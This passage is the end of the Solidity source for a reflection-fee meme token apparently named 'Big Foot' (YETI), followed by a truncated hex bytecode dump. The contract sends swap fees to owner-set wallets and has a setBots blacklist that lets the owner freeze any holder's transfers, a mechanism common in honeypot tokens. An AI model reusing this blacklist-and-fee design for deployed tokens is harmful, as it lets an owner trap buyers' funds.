block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 20357142857 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061161f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117ce565b6040518082815260200191505060405180910390f35b60606040518060400160405280600881526020017f42696720466f6f74000000000000000000000000000000000000000000000000815250905090565b600061076b610764611855565b848461185d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a54565b6108548461079f611855565b61084f85604051806060016040528060288152602001613d0d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611855565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227f9092919063ffffffff16565b61185d565b600190509392505050565b610867611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611855565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf8161233f565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243a565b90505b919050565b610bd5611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5945544900000000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611855565b8484611a54565b6001905092915050565b610ddf611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611855565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124be565b50565b610fa9611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061185d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff02191690831515021790555068011a831992595d9a006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115e057600080fd5b505af11580156115f4573d6000803e3d6000fd5b505050506040513d602081101561160a57600080fd5b81019080805190602001909291905050505050565b611627611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161175d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61178c606461177e83683635c9adc5dea000006127a890919063ffffffff16565b61282e90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118e3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613d836024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611969576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cca6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d5e6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613c7d6023913960400191505060405180910390fd5b60008111611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d356029913960400191505060405180910390fd5b611bc1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2f5750611bff610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121bc57601360179054906101000a900460ff1615611e95573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cb157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d0b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d655750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611dab611855565b73ffffffffffffffffffffffffffffffffffffffff161480611e215750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e09611855565b73ffffffffffffffffffffffffffffffffffffffff16145b611e93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b601454811115611ea457600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f485750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f5157600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ffc5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120525750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561206a5750601360179054906101000a900460ff165b156121025742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120ba57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061210d30610ae2565b9050601360159054906101000a900460ff1615801561217a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121925750601360169054906101000a900460ff165b156121ba576121a0816124be565b600047905060008111156121b8576121b74761233f565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122635750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561226d57600090505b61227984848484612878565b50505050565b600083831115829061232c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156122f15780820151818401526020810190506122d6565b50505050905090810190601f16801561231e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61238f60028461282e90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123ba573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61240b60028461282e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612436573d6000803e3d6000fd5b5050565b6000600a54821115612497576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613ca0602a913960400191505060405180910390fd5b60006124a1612acf565b90506124b6818461282e90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156124f357600080fd5b506040519080825280602002602001820160405280156125225781602001602082028036833780820191505090505b509050308160008151811061253357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125d557600080fd5b505afa1580156125e9573d6000803e3d6000fd5b505050506040513d60208110156125ff57600080fd5b81019080805190602001909291905050508160018151811061261d57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061268430601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461185d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561274857808201518184015260208101905061272d565b505050509050019650505050505050600060405180830381600087803b15801561277157600080fd5b505af1158015612785573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127bb5760009050612828565b60008284029050828482816127cc57fe5b0414612823576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613cec6021913960400191505060405180910390fd5b809150505b92915050565b600061287083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612afa565b905092915050565b8061288657612885612bc0565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129295750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561293e57612939848484612c03565b612abb565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129e15750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156129f6576129f1848484612e63565b612aba565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a985750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612aad57612aa88484846130c3565b612ab9565b612ab88484846133b8565b5b5b5b80612ac957612ac8613583565b5b50505050565b6000806000612adc613597565b91509150612af3818361282e90919063ffffffff16565b9250505090565b60008083118290612ba6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b6b578082015181840152602081019050612b50565b50505050905090810190601f168015612b985780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bb257fe5b049050809150509392505050565b6000600c54148015612bd457506000600d54145b15612bde57612c01565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c1587613844565b955095509550955095509550612c7387600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d0886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d9d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612de98161397e565b612df38483613b23565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e7587613844565b955095509550955095509550612ed386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f6883600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ffd85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130498161397e565b6130538483613b23565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130d587613844565b95509550955095509550955061313387600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131c886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061325d83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132f285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f